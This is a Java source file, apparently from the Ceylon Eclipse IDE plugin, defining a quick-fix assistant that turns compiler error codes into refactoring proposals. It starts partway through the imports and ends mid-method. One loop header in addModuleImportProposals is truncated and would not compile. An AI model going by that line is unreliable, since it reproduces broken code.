import org.eclipse.ui.texteditor.MarkerAnnotation;
import com.redhat.ceylon.cmr.api.JDKUtils;
import com.redhat.ceylon.cmr.api.ModuleQuery;
import com.redhat.ceylon.cmr.api.ModuleSearchResult;
import com.redhat.ceylon.cmr.api.ModuleSearchResult.ModuleDetails;
import com.redhat.ceylon.compiler.typechecker.TypeChecker;
import com.redhat.ceylon.compiler.typechecker.context.PhasedUnit;
import com.redhat.ceylon.compiler.typechecker.model.Class;
import com.redhat.ceylon.compiler.typechecker.model.ClassOrInterface;
import com.redhat.ceylon.compiler.typechecker.model.Declaration;
import com.redhat.ceylon.compiler.typechecker.model.DeclarationWithProximity;
import com.redhat.ceylon.compiler.typechecker.model.Functional;
import com.redhat.ceylon.compiler.typechecker.model.Import;
import com.redhat.ceylon.compiler.typechecker.model.Interface;
import com.redhat.ceylon.compiler.typechecker.model.IntersectionType;
import com.redhat.ceylon.compiler.typechecker.model.Module;
import com.redhat.ceylon.compiler.typechecker.model.Package;
import com.redhat.ceylon.compiler.typechecker.model.Parameter;
import com.redhat.ceylon.compiler.typechecker.model.ParameterList;
import com.redhat.ceylon.compiler.typechecker.model.ProducedReference;
import com.redhat.ceylon.compiler.typechecker.model.ProducedType;
import com.redhat.ceylon.compiler.typechecker.model.TypeDeclaration;
import com.redhat.ceylon.compiler.typechecker.model.TypeParameter;
import com.redhat.ceylon.compiler.typechecker.model.TypedDeclaration;
import com.redhat.ceylon.compiler.typechecker.model.UnionType;
import com.redhat.ceylon.compiler.typechecker.model.Unit;
import com.redhat.ceylon.compiler.typechecker.model.Value;
import com.redhat.ceylon.compiler.typechecker.tree.Node;
import com.redhat.ceylon.compiler.typechecker.tree.Tree;
import com.redhat.ceylon.compiler.typechecker.tree.Tree.AttributeDeclaration;
import com.redhat.ceylon.compiler.typechecker.tree.Tree.Identifier;
import com.redhat.ceylon.compiler.typechecker.tree.Tree.ImportPath;
import com.redhat.ceylon.compiler.typechecker.tree.Visitor;
import com.redhat.ceylon.eclipse.code.editor.CeylonAnnotation;
import com.redhat.ceylon.eclipse.code.editor.CeylonEditor;
import com.redhat.ceylon.eclipse.code.editor.Util;
import com.redhat.ceylon.eclipse.code.outline.CeylonLabelProvider;
import com.redhat.ceylon.eclipse.code.parse.CeylonParseController;
import com.redhat.ceylon.eclipse.core.builder.MarkerCreator;
import com.redhat.ceylon.eclipse.util.FindContainerVisitor;
import com.redhat.ceylon.eclipse.util.FindDeclarationNodeVisitor;
import com.redhat.ceylon.eclipse.util.FindDeclarationVisitor;
import com.redhat.ceylon.eclipse.util.FindStatementVisitor;
/**
* Popup quick fixes for problem annotations displayed in editor
* @author gavin
*/
public class CeylonQuickFixAssistant {
public boolean canFix(Annotation annotation) {
int code;
if (annotation instanceof CeylonAnnotation) {
code = ((CeylonAnnotation) annotation).getId();
}
else if (annotation instanceof MarkerAnnotation) {
code = ((MarkerAnnotation) annotation).getMarker()
.getAttribute(MarkerCreator.ERROR_CODE_KEY, 0);
}
else {
return false;
}
return code>0;
}
public boolean canAssist(IQuickAssistInvocationContext context) {
//oops, all this is totally useless, because
//this method never gets called by IMP
/*Tree.CompilationUnit cu = (CompilationUnit) context.getModel()
.getAST(new NullMessageHandler(), new NullProgressMonitor());
return CeylonSourcePositionLocator.findNode(cu, context.getOffset(),
context.getOffset()+context.getLength()) instanceof Tree.Term;*/
return true;
}
public String[] getSupportedMarkerTypes() {
return new String[] { PROBLEM_MARKER_ID };
}
public static String getIndent(Node node, IDocument doc) {
try {
IRegion region = doc.getLineInformation(node.getEndToken().getLine()-1);
String line = doc.get(region.getOffset(), region.getLength());
char[] chars = line.toCharArray();
for (int i=0; i<chars.length; i++) {
if (chars[i]!='\t' && chars[i]!=' ') {
return line.substring(0,i);
}
}
return line;
}
catch (BadLocationException ble) {
return "";
}
}
public void addProposals(IQuickAssistInvocationContext context,
CeylonEditor editor, Collection<ICompletionProposal> proposals) {
if (editor==null) return;
RenameRefactoringProposal.add(proposals, editor);
InlineRefactoringProposal.add(proposals, editor);
ExtractValueProposal.add(proposals, editor);
ExtractFunctionProposal.add(proposals, editor);
ConvertToClassProposal.add(proposals, editor);
ConvertToNamedArgumentsProposal.add(proposals, editor);
IDocument doc = context.getSourceViewer().getDocument();
IProject project = Util.getProject(editor.getEditorInput());
IFile file = Util.getFile(editor.getEditorInput());
Tree.CompilationUnit cu = editor.getParseController().getRootNode();
if (cu!=null) {
Node node = findNode(cu, context.getOffset(),
context.getOffset() + context.getLength());
addAssignToLocalProposal(context.getSourceViewer().getDocument(),
file, cu, proposals, node);
Tree.Declaration decNode = findDeclaration(cu, node);
if (decNode!=null) {
Declaration d = decNode.getDeclarationModel();
if (d!=null) {
if ((d.isClassOrInterfaceMember()||d.isToplevel()) &&
!d.isShared()) {
addMakeSharedDecProposal(proposals, project, decNode);
}
if (d.isClassOrInterfaceMember() &&
d.isShared() &&
!d.isDefault() && !d.isFormal() &&
!(d instanceof Interface)) {
addMakeDefaultDecProposal(proposals, project, decNode);
}
}
}
if (decNode instanceof Tree.TypedDeclaration &&
!(decNode instanceof Tree.ObjectDefinition) &&
!(decNode instanceof Tree.Variable)) {
Tree.Type type = ((Tree.TypedDeclaration) decNode).getType();
if (type instanceof Tree.LocalModifier) {
addSpecifyTypeProposal(cu, type, proposals, file);
}
}
else if (node instanceof Tree.LocalModifier) {
addSpecifyTypeProposal(cu, node, proposals, file);
}
if (decNode instanceof Tree.AttributeDeclaration) {
AttributeDeclaration attDecNode = (Tree.AttributeDeclaration) decNode;
Tree.SpecifierOrInitializerExpression se = attDecNode.getSpecifierOrInitializerExpression();
if (se instanceof Tree.LazySpecifierExpression) {
addConvertToBlockProposal(doc, proposals, file,
(Tree.LazySpecifierExpression) se, decNode);
}
else {
addConvertToGetterProposal(doc, proposals, file, attDecNode);
}
}
if (decNode instanceof Tree.MethodDeclaration) {
Tree.SpecifierOrInitializerExpression se = ((Tree.MethodDeclaration) decNode).getSpecifierExpression();
if (se instanceof Tree.LazySpecifierExpression) {
addConvertToBlockProposal(doc, proposals, file,
(Tree.LazySpecifierExpression) se, decNode);
}
}
if (decNode instanceof Tree.AttributeSetterDefinition) {
Tree.SpecifierOrInitializerExpression se = ((Tree.AttributeSetterDefinition) decNode).getSpecifierExpression();
if (se instanceof Tree.LazySpecifierExpression) {
addConvertToBlockProposal(doc, proposals, file,
(Tree.LazySpecifierExpression) se, decNode);
}
Tree.Block b = ((Tree.AttributeSetterDefinition) decNode).getBlock();
if (b!=null) {
addConvertToSpecifierProposal(doc, proposals, file, b);
}
}
if (decNode instanceof Tree.AttributeGetterDefinition) {
Tree.Block b = ((Tree.AttributeGetterDefinition) decNode).getBlock();
if (b!=null) {
addConvertToSpecifierProposal(doc, proposals, file, b);
}
}
if (decNode instanceof Tree.MethodDefinition) {
Tree.Block b = ((Tree.MethodDefinition) decNode).getBlock();
if (b!=null) {
addConvertToSpecifierProposal(doc, proposals, file, b);
}
}
if (decNode instanceof Tree.AttributeDeclaration) {
Tree.AttributeDeclaration attDecNode = (Tree.AttributeDeclaration) decNode;
Tree.SpecifierOrInitializerExpression sie = attDecNode.getSpecifierOrInitializerExpression();
if (sie!=null) {
addSplitDeclarationProposal(doc, cu, proposals, file, attDecNode);
}
addParameterProposal(doc, cu, proposals, file, attDecNode, sie, editor);
}
if (decNode instanceof Tree.MethodDeclaration) {
Tree.MethodDeclaration methDecNode = (Tree.MethodDeclaration) decNode;
Tree.SpecifierExpression sie = methDecNode.getSpecifierExpression();
if (sie!=null) {
addSplitDeclarationProposal(doc, cu, proposals, file, methDecNode);
}
addParameterProposal(doc, cu, proposals, file, methDecNode, sie, editor);
}
if (node instanceof Tree.MethodArgument) {
Tree.SpecifierOrInitializerExpression se = ((Tree.MethodArgument) node).getSpecifierExpression();
if (se instanceof Tree.LazySpecifierExpression) {
addConvertToBlockProposal(doc, proposals, file,
(Tree.LazySpecifierExpression) se, node);
}
Tree.Block b = ((Tree.MethodArgument) node).getBlock();
if (b!=null) {
addConvertToSpecifierProposal(doc, proposals, file, b);
}
}
if (node instanceof Tree.AttributeArgument) {
Tree.SpecifierOrInitializerExpression se = ((Tree.AttributeArgument) node).getSpecifierExpression();
if (se instanceof Tree.LazySpecifierExpression) {
addConvertToBlockProposal(doc, proposals, file,
(Tree.LazySpecifierExpression) se, node);
}
Tree.Block b = ((Tree.AttributeArgument) node).getBlock();
if (b!=null) {
addConvertToSpecifierProposal(doc, proposals, file, b);
}
}
addCreateObjectProposal(doc, cu, proposals, file, node);
addCreateLocalSubtypeProposal(doc, cu, proposals, file, node);
Tree.Statement statement = findStatement(cu, node);
addConvertToIfElseProposal(doc, proposals, file, statement);
addConvertToThenElseProposal(cu, doc, proposals, file, statement);
addReverseIfElseProposal(doc, proposals, file, statement);
addConvertGetterToMethodProposal(proposals, editor, file, node);
addConvertMethodToGetterProposal(proposals, editor, file, node);
addThrowsAnnotationProposal(proposals, statement, cu, file, doc);
}
CreateSubtypeProposal.add(proposals, editor);
MoveDeclarationProposal.add(proposals, editor);
RefineFormalMembersProposal.add(proposals, editor);
}
public static Tree.Declaration findDeclaration(Tree.CompilationUnit cu, Node node) {
FindDeclarationVisitor fcv = new FindDeclarationVisitor(node);
fcv.visit(cu);
return fcv.getDeclarationNode();
}
public void addProposals(IQuickAssistInvocationContext context, ProblemLocation problem,
IFile file, Tree.CompilationUnit cu, Collection<ICompletionProposal> proposals) {
if (file==null) return;
IProject project = file.getProject();
TypeChecker tc = getProjectTypeChecker(project);
Node node = findNode(cu, problem.getOffset(),
problem.getOffset() + problem.getLength());
switch ( problem.getProblemId() ) {
case 100:
case 102:
if (tc!=null) {
addImportProposals(cu, node, proposals, file);
}
addCreateEnumProposal(cu, node, problem, proposals,
project, tc, file);
addCreateProposals(cu, node, problem, proposals,
project, tc, file);
if (tc!=null) {
addRenameProposals(cu, node, problem, proposals, file);
}
break;
case 101:
addCreateParameterProposals(cu, node, problem, proposals,
project, tc, file);
if (tc!=null) {
addRenameProposals(cu, node, problem, proposals, file);
}
break;
case 200:
addSpecifyTypeProposal(cu, node, proposals, file);
break;
case 300:
case 350:
if (context.getSourceViewer()!=null) { //TODO: figure out some other way to get the Document!
addImplementFormalAndAmbiguouslyInheritedMembersProposal(cu, node, proposals, file,
context.getSourceViewer().getDocument());
}
addMakeAbstractProposal(proposals, project, node);
break;
case 400:
addMakeSharedProposal(proposals, project, node);
break;
case 500:
addMakeDefaultProposal(proposals, project, node);
break;
case 600:
addMakeActualProposal(proposals, project, node);
break;
case 701:
addMakeSharedDecProposal(proposals, project, node);
addRemoveAnnotationDecProposal(proposals, "actual", project, node);
break;
case 702:
addMakeSharedDecProposal(proposals, project, node);
addRemoveAnnotationDecProposal(proposals, "formal", project, node);
break;
case 703:
addMakeSharedDecProposal(proposals, project, node);
addRemoveAnnotationDecProposal(proposals, "default", project, node);
break;
case 800:
case 804:
addMakeVariableProposal(proposals, project, node);
break;
case 803:
addMakeVariableProposal(proposals, project, node);
break;
case 801:
addMakeVariableDecProposal(cu, proposals, project, node);
break;
case 802:
break;
case 905:
addMakeContainerAbstractProposal(proposals, project, node);
break;
case 900:
case 1100:
addMakeContainerAbstractProposal(proposals, project, node);
addRemoveAnnotationDecProposal(proposals, "formal", project, node);
break;
case 1000:
addAddParenthesesProposal(problem, file, proposals, node);
addChangeDeclarationProposal(problem, file, proposals, node);
break;
case 1200:
case 1201:
addRemoveAnnotationDecProposal(proposals, "shared", project, node);
break;
case 1300:
case 1301:
addRemoveAnnotationDecProposal(proposals, "actual", project, node);
break;
case 1302:
case 1312:
case 1307:
addRemoveAnnotationDecProposal(proposals, "formal", project, node);
break;
case 1303:
case 1313:
addRemoveAnnotationDecProposal(proposals, "default", project, node);
break;
case 1400:
case 1401:
addMakeFormalProposal(proposals, project, node);
break;
case 1500:
addRemoveAnnotationDecProposal(proposals, "variable", project, node);
break;
case 1600:
addRemoveAnnotationDecProposal(proposals, "abstract", project, node);
break;
case 2000:
addCreateParameterProposals(cu, node, problem, proposals,
project, tc, file);
break;
case 2100:
case 2102:
addChangeTypeProposals(cu, node, problem, proposals, project);
addConstraintSatisfiesProposals(cu, node, proposals, project);
break;
case 2101:
addEllipsisToSequenceParameterProposal(cu, node, proposals, file);
break;
case 3000:
if (context.getSourceViewer()!=null) {
addAssignToLocalProposal(context.getSourceViewer().getDocument(),
file, cu, proposals, node);
}
break;
case 3100:
if (context.getSourceViewer()!=null) {
addShadowReferenceProposal(context.getSourceViewer().getDocument(),
file, cu, proposals, node);
}
break;
case 5001:
case 5002:
addChangeIdentifierCaseProposal(node, proposals, file);
break;
case 6000:
addFixMultilineStringIndentation(proposals, file, cu, (Tree.StringLiteral)node);
break;
case 7000:
addModuleImportProposals(cu, proposals, project, tc, node);
break;
case 8000:
addRenameDescriptorProposal(cu, context, problem, proposals);
break;
}
}
private void addRenameDescriptorProposal(Tree.CompilationUnit cu,
IQuickAssistInvocationContext context, ProblemLocation problem,
Collection<ICompletionProposal> proposals) {
String pn = cu.getUnit().getPackage().getNameAsString();
DocumentChange change = new DocumentChange("Rename", context.getSourceViewer().getDocument());
change.setEdit(new ReplaceEdit(problem.getOffset(), problem.getLength(), pn));
proposals.add(new ChangeCorrectionProposal("Rename to '" + pn + "'", change, 10, CHANGE));
}
private void addModuleImportProposals(Tree.CompilationUnit cu,
Collection<ICompletionProposal> proposals, IProject project,
TypeChecker tc, Node node) {
List<Identifier> ids = ((ImportPath) node).getIdentifiers();
String pkg = formatPath(ids);
if (JDKUtils.isJDKAnyPackage(pkg)) {
for (String mod: JDKUtils.getJDKModuleNames()) {
if (JDKUtils.isJDKPackage(mod, pkg)) {
proposals.add(new AddModuleImportProposal(project, cu.getUnit(), mod,
JDK_MODULE_VERSION));
return;
}
}
}
for (int i=ids.size(); i>0; i
String pn = formatPath(ids.subList(0, i));
ModuleQuery q = new ModuleQuery(pn, ModuleQuery.Type.JVM); //TODO: Type.JS if JS compilation enabled!
q.setCount(2l);
ModuleSearchResult msr = tc.getContext().getRepositoryManager().searchModules(q);
ModuleDetails md = msr.getResult(pn);
if (md!=null) {
proposals.add(new AddModuleImportProposal(project, cu.getUnit(), md));
}
if (!msr.getResults().isEmpty()) break;
}
}
private void addMakeActualProposal(Collection<ICompletionProposal> proposals,
IProject project, Node node) {
Tree.Declaration decNode = (Tree.Declaration) node;
boolean shared = decNode.getDeclarationModel().isShared();
addAddAnnotationProposal(node, shared ? "actual" : "shared actual",
shared ? "Make Actual" : "Make Shared Actual",
decNode.getDeclarationModel(), proposals, project);
}
private void addMakeDefaultProposal(Collection<ICompletionProposal> proposals,
IProject project, Node node) {
Tree.Declaration decNode = (Tree.Declaration) node;
Declaration d = decNode.getDeclarationModel();
if (d.isClassOrInterfaceMember()) {
List<Declaration> rds = ((ClassOrInterface)d.getContainer()).getInheritedMembers(d.getName());
Declaration rd=null;
if (rds.isEmpty()) {
rd=d; //TODO: is this really correct? What case does it handle?
}
else {
for (Declaration r: rds) {
if (!r.isDefault()) {
//just take the first one :-/
//TODO: this is very wrong! Instead, make them all default!
rd = r;
break;
}
}
}
if (rd!=null) {
addAddAnnotationProposal(node, "default", "Make Default", rd,
proposals, project);
}
}
}
private void addMakeDefaultDecProposal(Collection<ICompletionProposal> proposals,
IProject project, Node node) {
Tree.Declaration decNode = (Tree.Declaration) node;
Declaration d = decNode.getDeclarationModel();
addAddAnnotationProposal(node, "default", "Make Default", d,
proposals, project);
}
private void addMakeFormalProposal(Collection<ICompletionProposal> proposals,
IProject project, Node node) {
Tree.Declaration decNode = (Tree.Declaration) node;
boolean shared = decNode.getDeclarationModel().isShared();
addAddAnnotationProposal(node, shared ? "formal" : "shared formal",
shared ? "Make Formal" : "Make Shared Formal",
decNode.getDeclarationModel(), proposals, project);
}
private void addMakeAbstractProposal(Collection<ICompletionProposal> proposals,
IProject project, Node node) {
Declaration dec;
if (node instanceof Tree.Declaration) {
dec = (Declaration) ((Tree.Declaration) node).getDeclarationModel();
}
else {
dec = (Declaration) node.getScope();
}
addAddAnnotationProposal(node, "abstract", "Make Abstract", dec,
proposals, project);
}
private void addMakeContainerAbstractProposal(Collection<ICompletionProposal> proposals,
IProject project, Node node) {
Declaration dec;
if (node instanceof Tree.Declaration) {
dec = (Declaration) ((Tree.Declaration) node).getDeclarationModel().getContainer();
}
else {
dec = (Declaration) node.getScope();
}
addAddAnnotationProposal(node, "abstract", "Make Abstract", dec,
proposals, project);
}
private void addMakeVariableProposal(Collection<ICompletionProposal> proposals,
IProject project, Node node) {
Tree.Term term;
if (node instanceof Tree.AssignmentOp) {
term = ((Tree.AssignOp) node).getLeftTerm();
}
else if (node instanceof Tree.UnaryOperatorExpression) {
term = ((Tree.PrefixOperatorExpression) node).getTerm();
}
else if (node instanceof Tree.MemberOrTypeExpression) {
term = (Tree.MemberOrTypeExpression) node;
}
else if (node instanceof Tree.SpecifierStatement) {
term = ((Tree.SpecifierStatement) node).getBaseMemberExpression();
}
else {
return;
}
if (term instanceof Tree.MemberOrTypeExpression) {
Declaration dec = ((Tree.MemberOrTypeExpression) term).getDeclaration();
addAddAnnotationProposal(node, "variable", "Make Variable",
dec, proposals, project);
}
}
private void addMakeVariableDecProposal(Tree.CompilationUnit cu,
Collection<ICompletionProposal> proposals, IProject project, Node node) {
final Tree.SpecifierOrInitializerExpression sie = (Tree.SpecifierOrInitializerExpression) node;
class GetInitializedVisitor extends Visitor {
Value dec;
@Override
public void visit(Tree.AttributeDeclaration that) {
super.visit(that);
if (that.getSpecifierOrInitializerExpression()==sie) {
dec = that.getDeclarationModel();
}
}
}
GetInitializedVisitor v = new GetInitializedVisitor();
v.visit(cu);
addAddAnnotationProposal(node, "variable", "Make Variable", v.dec,
proposals, project);
}
private void addMakeSharedProposal(Collection<ICompletionProposal> proposals,
IProject project, Node node) {
Declaration dec = null;
if (node instanceof Tree.StaticMemberOrTypeExpression) {
Tree.StaticMemberOrTypeExpression qmte = (Tree.StaticMemberOrTypeExpression) node;
dec = qmte.getDeclaration();
}
else if (node instanceof Tree.SimpleType) {
Tree.SimpleType qmte = (Tree.SimpleType) node;
dec = qmte.getDeclarationModel();
}
else if (node instanceof Tree.ImportMemberOrType) {
Tree.ImportMemberOrType imt = (Tree.ImportMemberOrType) node;
dec = imt.getDeclarationModel();
}
if (dec!=null) {
addAddAnnotationProposal(node, "shared", "Make Shared", dec,
proposals, project);
}
}
private void addMakeSharedDecProposal(Collection<ICompletionProposal> proposals,
IProject project, Node node) {
Tree.Declaration decNode = (Tree.Declaration) node;
addAddAnnotationProposal(node, "shared", "Make Shared",
decNode.getDeclarationModel(), proposals, project);
}
private void addRemoveAnnotationDecProposal(Collection<ICompletionProposal> proposals,
String annotation, IProject project, Node node) {
Tree.Declaration decNode = (Tree.Declaration) node;
addRemoveAnnotationProposal(node, annotation, "Make Non" + annotation,
decNode.getDeclarationModel(), proposals, project);
}
/*public void addRefactoringProposals(IQuickFixInvocationContext context,
Collection<ICompletionProposal> proposals, Node node) {
try {
if (node instanceof Tree.Term) {
ExtractFunctionRefactoring efr = new ExtractFunctionRefactoring(context);
proposals.add( new ChangeCorrectionProposal("Extract function '" + efr.getNewName() + "'",
efr.createChange(new NullProgressMonitor()), 20, null));
ExtractValueRefactoring evr = new ExtractValueRefactoring(context);
proposals.add( new ChangeCorrectionProposal("Extract value '" + evr.getNewName() + "'",
evr.createChange(new NullProgressMonitor()), 20, null));
}
}
catch (CoreException ce) {}
}*/
private void addCreateEnumProposal(Tree.CompilationUnit cu, Node node,
ProblemLocation problem, Collection<ICompletionProposal> proposals,
IProject project, TypeChecker tc, IFile file) {
Node idn = getIdentifyingNode(node);
if (idn==null) return;
String brokenName = idn.getText();
if (brokenName.isEmpty()) return;
Tree.Declaration dec = findDeclaration(cu, node);
if (dec instanceof Tree.ClassDefinition) {
Tree.ClassDefinition cd = (Tree.ClassDefinition) dec;
if (cd.getCaseTypes()!=null) {
if (cd.getCaseTypes().getTypes().contains(node)) {
addCreateEnumProposal(proposals, project,
"class " + brokenName + parameters(cd.getTypeParameterList()) +
parameters(cd.getParameterList()) +
" extends " + cd.getDeclarationModel().getName() +
parameters(cd.getTypeParameterList()) +
arguments(cd.getParameterList()) + " {}",
"class '"+ brokenName + parameters(cd.getTypeParameterList()) +
parameters(cd.getParameterList()) + "'",
CeylonLabelProvider.CLASS, cu, cd);
}
if (cd.getCaseTypes().getBaseMemberExpressions().contains(node)) {
addCreateEnumProposal(proposals, project,
"object " + brokenName +
" extends " + cd.getDeclarationModel().getName() +
parameters(cd.getTypeParameterList()) +
arguments(cd.getParameterList()) + " {}",
"object '"+ brokenName + "'",
ATTRIBUTE, cu, cd);
}
}
}
if (dec instanceof Tree.InterfaceDefinition) {
Tree.InterfaceDefinition cd = (Tree.InterfaceDefinition) dec;
if (cd.getCaseTypes()!=null) {
if (cd.getCaseTypes().getTypes().contains(node)) {
addCreateEnumProposal(proposals, project,
"interface " + brokenName + parameters(cd.getTypeParameterList()) +
" satisfies " + cd.getDeclarationModel().getName() +
parameters(cd.getTypeParameterList()) + " {}",
"interface '"+ brokenName + parameters(cd.getTypeParameterList()) + "'",
INTERFACE, cu, cd);
}
if (cd.getCaseTypes().getBaseMemberExpressions().contains(node)) {
addCreateEnumProposal(proposals, project,
"object " + brokenName +
" satisfies " + cd.getDeclarationModel().getName() +
parameters(cd.getTypeParameterList()) + " {}",
"object '"+ brokenName + "'",
ATTRIBUTE, cu, cd);
}
}
}
}
private static String parameters(Tree.ParameterList pl) {
StringBuilder result = new StringBuilder();
if (pl==null ||
pl.getParameters().isEmpty()) {
result.append("()");
}
else {
result.append("(");
int len = pl.getParameters().size(), i=0;
for (Tree.Parameter p: pl.getParameters()) {
if (p!=null) {
if (p instanceof Tree.ParameterDeclaration) {
Tree.TypedDeclaration td = ((Tree.ParameterDeclaration) p).getTypedDeclaration();
result.append(td.getType().getTypeModel().getProducedTypeName())
.append(" ")
.append(td.getIdentifier().getText());
}
else if (p instanceof Tree.InitializerParameter) {
result.append(p.getParameterModel().getType().getProducedTypeName())
.append(" ")
.append(((Tree.InitializerParameter) p).getIdentifier().getText());
}
//TODO: easy to add back in:
/*if (p instanceof Tree.FunctionalParameterDeclaration) {
Tree.FunctionalParameterDeclaration fp = (Tree.FunctionalParameterDeclaration) p;
for (Tree.ParameterList ipl: fp.getParameterLists()) {
parameters(ipl, label);
}
}*/
}
if (++i<len) result.append(", ");
}
result.append(")");
}
return result.toString();
}
private static String parameters(Tree.TypeParameterList tpl) {
StringBuilder result = new StringBuilder();
if (tpl!=null &&
!tpl.getTypeParameterDeclarations().isEmpty()) {
result.append("<");
int len = tpl.getTypeParameterDeclarations().size(), i=0;
for (Tree.TypeParameterDeclaration p: tpl.getTypeParameterDeclarations()) {
result.append(p.getIdentifier().getText());
if (++i<len) result.append(", ");
}
result.append(">");
}
return result.toString();
}
private static String arguments(Tree.ParameterList pl) {
StringBuilder result = new StringBuilder();
if (pl==null ||
pl.getParameters().isEmpty()) {
result.append("()");
}
else {
result.append("(");
int len = pl.getParameters().size(), i=0;
for (Tree.Parameter p: pl.getParameters()) {
if (p!=null) {
Tree.Identifier id;
if (p instanceof Tree.InitializerParameter) {
id = ((Tree.InitializerParameter) p).getIdentifier();
}
else if (p instanceof Tree.ParameterDeclaration) {
id = ((Tree.ParameterDeclaration) p).getTypedDeclaration().getIdentifier();
}
else {
continue;
}
result.append(id.getText());
//TODO: easy to add back in:
/*if (p instanceof Tree.FunctionalParameterDeclaration) {
Tree.FunctionalParameterDeclaration fp = (Tree.FunctionalParameterDeclaration) p;
for (Tree.ParameterList ipl: fp.getParameterLists()) {
parameters(ipl, label);
}
}*/
}
if (++i<len) result.append(", ");
}
result.append(")");
}
return result.toString();
}
private void addCreateProposals(Tree.CompilationUnit cu, Node node,
ProblemLocation problem, Collection<ICompletionProposal> proposals,
IProject project, TypeChecker tc, IFile file) {
if (node instanceof Tree.MemberOrTypeExpression) {
Tree.MemberOrTypeExpression smte = (Tree.MemberOrTypeExpression) node;
String brokenName = getIdentifyingNode(node).getText();
if (brokenName.isEmpty()) return;
boolean isUpperCase = Character.isUpperCase(brokenName.charAt(0));
String def;
String desc;
Image image;
FindArgumentsVisitor fav = new FindArgumentsVisitor(smte);
cu.visit(fav);
ProducedType et = fav.expectedType;
List<ProducedType> paramTypes = null;
final boolean isVoid = et==null;
ProducedType returnType = isVoid ? null : node.getUnit().denotableType(et);
String stn = isVoid ? null : returnType.getProducedTypeName();
if (fav.positionalArgs!=null || fav.namedArgs!=null) {
StringBuilder params = new StringBuilder();
params.append("(");
if (fav.positionalArgs!=null) {
paramTypes = appendPositionalArgs(fav, params);
}
if (fav.namedArgs!=null) {
paramTypes = appendNamedArgs(fav, params);
}
if (params.length()>1) {
params.setLength(params.length()-2);
}
params.append(")");
List<TypeParameter> typeParams = new ArrayList<TypeParameter>();
StringBuilder typeParamDef = new StringBuilder("<");
StringBuilder typeParamConstDef = new StringBuilder();
appendTypeParams(typeParams, typeParamDef, typeParamConstDef, returnType);
appendTypeParams(typeParams, typeParamDef, typeParamConstDef, paramTypes);
if (typeParamDef.length() > 1) {
typeParamDef.setLength(typeParamDef.length() - 1);
typeParamDef.append(">");
} else {
typeParamDef.setLength(0);
}
if (isUpperCase) {
String supertype = "";
if (!isVoid) {
if (!stn.equals("unknown")) {
if (et.getDeclaration() instanceof Class) {
supertype = " extends " + stn + "()"; //TODO: arguments!
}
else {
supertype = " satisfies " + stn;
}
}
}
def = "class " + brokenName + typeParamDef + params + supertype + typeParamConstDef + " {\n";
if (!isVoid) {
for (DeclarationWithProximity dwp: et.getDeclaration()
.getMatchingMemberDeclarations(null, "", 0).values()) {
Declaration d = dwp.getDeclaration();
if (d.isFormal() /*&& td.isInheritedFromSupertype(d)*/) {
ProducedReference pr = getRefinedProducedReference(et, d);
def+= "$indent " + getRefinementTextFor(d, pr, false, "") + "\n";
}
}
}
def+="$indent}";
desc = "class '" + brokenName + params + supertype + "'";
image = CeylonLabelProvider.CLASS;
}
else {
String type = isVoid ? "void" :
stn.equals("unknown") ? "function" : stn;
String impl = isVoid ? " {}" : " { return nothing; }";
def = type + " " + brokenName + typeParamDef + params + typeParamConstDef + impl;
desc = "function '" + brokenName + params + "'";
image = METHOD;
}
}
else if (!isUpperCase) {
String type = isVoid ? "Anything" :
stn.equals("unknown") ? "value" : stn;
def = type + " " + brokenName + " = " + defaultValue(node.getUnit(), et) + ";";
desc = "value '" + brokenName + "'";
image = ATTRIBUTE;
}
else {
return;
}
if (smte instanceof Tree.QualifiedMemberOrTypeExpression) {
addCreateMemberProposals(proposals, project, "shared " + def, desc, image,
(Tree.QualifiedMemberOrTypeExpression) smte, returnType, paramTypes);
}
else {
addCreateLocalProposals(proposals, project, def, desc, image, cu, smte,
returnType, paramTypes);
ClassOrInterface container = findClassContainer(cu, smte);
if (container!=null &&
container!=smte.getScope()) { //if the statement appears directly in an initializer, propose a local, not a member
do {
addCreateMemberProposals(proposals, project, def, desc, image, container,
returnType, paramTypes);
if(container.getContainer() instanceof Declaration)
container = findClassContainer((Declaration) container.getContainer());
else
break;
}
while(container != null);
}
addCreateToplevelProposals(proposals, project, def, desc, image, cu, smte,
returnType, paramTypes);
CreateInNewUnitProposal.addCreateToplevelProposal(proposals,
def.replace("$indent", ""), desc, image, file, brokenName,
returnType, paramTypes);
addCreateParameterProposal(proposals, project, cu, node, brokenName, def, returnType);
}
}
else if (node instanceof Tree.BaseType) {
Tree.BaseType bt = (Tree.BaseType) node;
String brokenName = bt.getIdentifier().getText();
String idef = "interface " + brokenName + " {}";
String idesc = "interface '" + brokenName + "'";
String cdef = "class " + brokenName + "() {}";
String cdesc = "class '" + brokenName + "()'";
//addCreateLocalProposals(proposals, project, idef, idesc, INTERFACE, cu, bt);
addCreateLocalProposals(proposals, project, cdef, cdesc, CLASS, cu, bt, null, null);
addCreateToplevelProposals(proposals, project, idef, idesc, INTERFACE, cu, bt, null, null);
addCreateToplevelProposals(proposals, project, cdef, cdesc, CLASS, cu, bt, null, null);
CreateInNewUnitProposal.addCreateToplevelProposal(proposals, idef, idesc,
INTERFACE, file, brokenName, null, null);
CreateInNewUnitProposal.addCreateToplevelProposal(proposals, cdef, cdesc,
CLASS, file, brokenName, null, null);
}
}
private void appendTypeParams(List<TypeParameter> typeParams, StringBuilder typeParamDef, StringBuilder typeParamConstDef, List<ProducedType> pts) {
if (pts != null) {
for (ProducedType pt : pts) {
appendTypeParams(typeParams, typeParamDef, typeParamConstDef, pt);
}
}
}
private void appendTypeParams(List<TypeParameter> typeParams, StringBuilder typeParamDef, StringBuilder typeParamConstDef, ProducedType pt) {
if (pt != null) {
if (pt.getDeclaration() instanceof UnionType) {
appendTypeParams(typeParams, typeParamDef, typeParamConstDef, ((UnionType) pt.getDeclaration()).getCaseTypes());
}
else if (pt.getDeclaration() instanceof IntersectionType) {
appendTypeParams(typeParams, typeParamDef, typeParamConstDef, ((IntersectionType) pt.getDeclaration()).getSatisfiedTypes());
}
else if (pt.getDeclaration() instanceof TypeParameter) {
appendTypeParams(typeParams, typeParamDef, typeParamConstDef, (TypeParameter) pt.getDeclaration());
}
}
}
private void appendTypeParams(List<TypeParameter> typeParams, StringBuilder typeParamDef, StringBuilder typeParamConstDef, TypeParameter typeParam) {
if (typeParams.contains(typeParam)) {
return;
} else {
typeParams.add(typeParam);
}
if (typeParam.isContravariant()) {
typeParamDef.append("in ");
}
if (typeParam.isCovariant()) {
typeParamDef.append("out ");
}
typeParamDef.append(typeParam.getName());
if (typeParam.isDefaulted() && typeParam.getDefaultTypeArgument() != null) {
typeParamDef.append("=");
typeParamDef.append(typeParam.getDefaultTypeArgument().getProducedTypeName());
}
